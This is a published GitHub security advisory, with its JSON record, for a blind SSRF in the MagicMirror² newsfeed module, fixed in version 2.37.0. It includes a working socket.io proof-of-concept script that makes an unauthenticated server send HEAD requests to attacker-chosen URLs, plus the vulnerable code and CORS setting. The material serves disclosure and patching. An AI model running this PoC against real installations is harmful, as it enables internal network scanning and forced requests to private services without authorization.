GHSA-998G-7V5W-CR7G
Vulnerability from github – Published: 2026-08-18 17:26 – Updated: 2026-08-18 17:26Vulnerability — Blind SSRF via CHECK_ARTICLE_URL (MagicMirror² newsfeed)
Analysis of the PoC
exploit-ssrf-newsfeed.js. Target:newsfeed/node_helper.jsof MagicMirror², socket.io namespace/newsfeed.
Identification
| Field | Value |
|---|---|
| PoC file | exploit-ssrf-newsfeed.js |
| Endpoint | socket.io namespace /newsfeed, notification CHECK_ARTICLE_URL |
| Precondition | reach the mirror's HTTP port (no authentication required) |
Description
The checkArticleUrl() function in newsfeed/node_helper.js runs fetch(url, { method: "HEAD" }) with zero validation of the URL and returns ARTICLE_URL_STATUS { url, canFrame }.
This gives the attacker a boolean + timing oracle to map internal hosts and ports: presence, absence, and response time reveal which internal services are alive. It is a "blind-ish" SSRF — the attacker doesn't see the body, but forces the server-side request and observes the effect on the target.
The actual proof is observed on the target side (the server-side HEAD shows up in the internal service's log), since the canFrame field alone leaks little.
Root cause: unauthenticated socket.io channel + permissive CORS
The socket.io server accepts connections from any origin and with no authentication:
const io = new Server(server, {
cors: { origin: /.*$/, credentials: true }
});
The /newsfeed namespace registers the handler without checking who is connected (CWE-306). Any process or browser tab that can reach the mirror's port can emit the notification.
Exploit (exploit-ssrf-newsfeed.js)
const { io } = require("socket.io-client");
const TARGET = process.env.MM || "https://target/";
const URL_TO_HIT = process.env.SSRF_URL || "https://webhook.site";
const socket = io(`${TARGET}/newsfeed`, { path: "/socket.io", transports: ["websocket", "polling"] });
socket.onAny((event, payload) => {
if (event === "ARTICLE_URL_STATUS") {
console.log(`[+] ARTICLE_URL_STATUS: ${JSON.stringify(payload)}`);
console.log("[!!!] Server performed a server-side HEAD request to the internal host (SSRF).");
process.exit(0);
}
});
socket.on("connect", () => {
console.log(`[*] Connected to ${TARGET}/newsfeed (no auth). CHECK_ARTICLE_URL -> ${URL_TO_HIT}`);
socket.emit("CHECK_ARTICLE_URL", { url: URL_TO_HIT });
});
setTimeout(() => { console.log("[*] timeout"); process.exit(1); }, 12000);
Vulnerable target code (pattern)
async checkArticleUrl(url) {
const res = await fetch(url, { method: "HEAD" });
const canFrame = !res.headers.get("x-frame-options")
&& !/frame-ancestors/i.test(res.headers.get("content-security-policy") || "");
this.sendSocketNotification("ARTICLE_URL_STATUS", { url, canFrame });
}
Impact
- Internal network scanning / port scanning: presence, absence, and response time reveal which internal hosts and ports are alive.
- Forcing server-side requests to internal services (the HEAD reaches the target, as observed in the
mm-internallog referenced by the PoC). - Although it's HEAD (no body), it serves as a reconnaissance primitive and a trigger for side effects on endpoints that react to GET/HEAD.
References
- CWE-918: Server-Side Request Forgery (SSRF)
- CWE-306: Missing Authentication for Critical Function
- CWE-942: Permissive Cross-domain Policy with Untrusted Domains
- OWASP: SSRF Prevention Cheat Sheet
This PoC and report are intended solely for authorized security testing / research in a controlled lab environment.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "magicmirror"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.37.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-63642"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-18T17:26:46Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# Vulnerability \u2014 Blind SSRF via `CHECK_ARTICLE_URL` (MagicMirror\u00b2 newsfeed)\n\n\u003e Analysis of the PoC `exploit-ssrf-newsfeed.js`.\n\u003e Target: `newsfeed/node_helper.js` of MagicMirror\u00b2, socket.io namespace `/newsfeed`.\n\n---\n\n## Identification\n\n| Field | Value |\n|-------|-------|\n| **PoC file** | `exploit-ssrf-newsfeed.js` |\n| **Endpoint** | socket.io namespace `/newsfeed`, notification `CHECK_ARTICLE_URL` |\n| **Precondition** | reach the mirror\u0027s HTTP port (no authentication required) |\n\n---\n\n## Description\n\nThe `checkArticleUrl()` function in `newsfeed/node_helper.js` runs `fetch(url, { method: \"HEAD\" })` with **zero validation** of the URL and returns `ARTICLE_URL_STATUS { url, canFrame }`.\n\nThis gives the attacker a **boolean + timing oracle** to map internal hosts and ports: presence, absence, and response time reveal which internal services are alive. It is a \"blind-ish\" SSRF \u2014 the attacker doesn\u0027t see the body, but forces the server-side request and observes the effect on the target.\n\nThe actual proof is observed **on the target side** (the server-side HEAD shows up in the internal service\u0027s log), since the `canFrame` field alone leaks little.\n\n---\n\n## Root cause: unauthenticated socket.io channel + permissive CORS\n\nThe socket.io server accepts connections from **any origin** and with **no authentication**:\n\n```js\nconst io = new Server(server, {\n cors: { origin: /.*$/, credentials: true }\n});\n```\n\nThe `/newsfeed` namespace registers the handler without checking who is connected (**CWE-306**). Any process or browser tab that can reach the mirror\u0027s port can emit the notification.\n\n---\n\n## Exploit (`exploit-ssrf-newsfeed.js`)\n\n```js\nconst { io } = require(\"socket.io-client\");\nconst TARGET = process.env.MM || \"https://target/\";\nconst URL_TO_HIT = process.env.SSRF_URL || \"https://webhook.site\";\nconst socket = io(`${TARGET}/newsfeed`, { path: \"/socket.io\", transports: [\"websocket\", \"polling\"] });\n\nsocket.onAny((event, payload) =\u003e {\n\tif (event === \"ARTICLE_URL_STATUS\") {\n\t\tconsole.log(`[+] ARTICLE_URL_STATUS: ${JSON.stringify(payload)}`);\n\t\tconsole.log(\"[!!!] Server performed a server-side HEAD request to the internal host (SSRF).\");\n\t\tprocess.exit(0);\n\t}\n});\nsocket.on(\"connect\", () =\u003e {\n\tconsole.log(`[*] Connected to ${TARGET}/newsfeed (no auth). CHECK_ARTICLE_URL -\u003e ${URL_TO_HIT}`);\n\tsocket.emit(\"CHECK_ARTICLE_URL\", { url: URL_TO_HIT });\n});\nsetTimeout(() =\u003e { console.log(\"[*] timeout\"); process.exit(1); }, 12000);\n```\n\n---\n\n## Vulnerable target code (pattern)\n\n```js\nasync checkArticleUrl(url) {\n const res = await fetch(url, { method: \"HEAD\" });\n const canFrame = !res.headers.get(\"x-frame-options\")\n \u0026\u0026 !/frame-ancestors/i.test(res.headers.get(\"content-security-policy\") || \"\");\n this.sendSocketNotification(\"ARTICLE_URL_STATUS\", { url, canFrame });\n}\n```\n\n---\n\n## Impact\n\n- **Internal network scanning / port scanning**: presence, absence, and response time reveal which internal hosts and ports are alive.\n- Forcing server-side requests to internal services (the HEAD reaches the target, as observed in the `mm-internal` log referenced by the PoC).\n- Although it\u0027s HEAD (no body), it serves as a **reconnaissance primitive** and a trigger for side effects on endpoints that react to GET/HEAD.\n\n---\n\n\n\n### References\n- CWE-918: Server-Side Request Forgery (SSRF)\n- CWE-306: Missing Authentication for Critical Function\n- CWE-942: Permissive Cross-domain Policy with Untrusted Domains\n- OWASP: SSRF Prevention Cheat Sheet\n\n\u003e This PoC and report are intended solely for authorized security testing / research in a controlled lab environment.",
"id": "GHSA-998g-7v5w-cr7g",
"modified": "2026-08-18T17:26:46Z",
"published": "2026-08-18T17:26:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MagicMirrorOrg/MagicMirror/security/advisories/GHSA-998g-7v5w-cr7g"
},
{
"type": "WEB",
"url": "https://github.com/MagicMirrorOrg/MagicMirror/pull/4169"
},
{
"type": "WEB",
"url": "https://github.com/MagicMirrorOrg/MagicMirror/commit/58c2a5e675a7d367b64d72e1d35680d202ff5c9f"
},
{
"type": "PACKAGE",
"url": "https://github.com/MagicMirrorOrg/MagicMirror"
},
{
"type": "WEB",
"url": "https://github.com/MagicMirrorOrg/MagicMirror/releases/tag/v2.37.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "MagicMirror newsfeed Socket.IO notification allows blind server-side request forgery"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.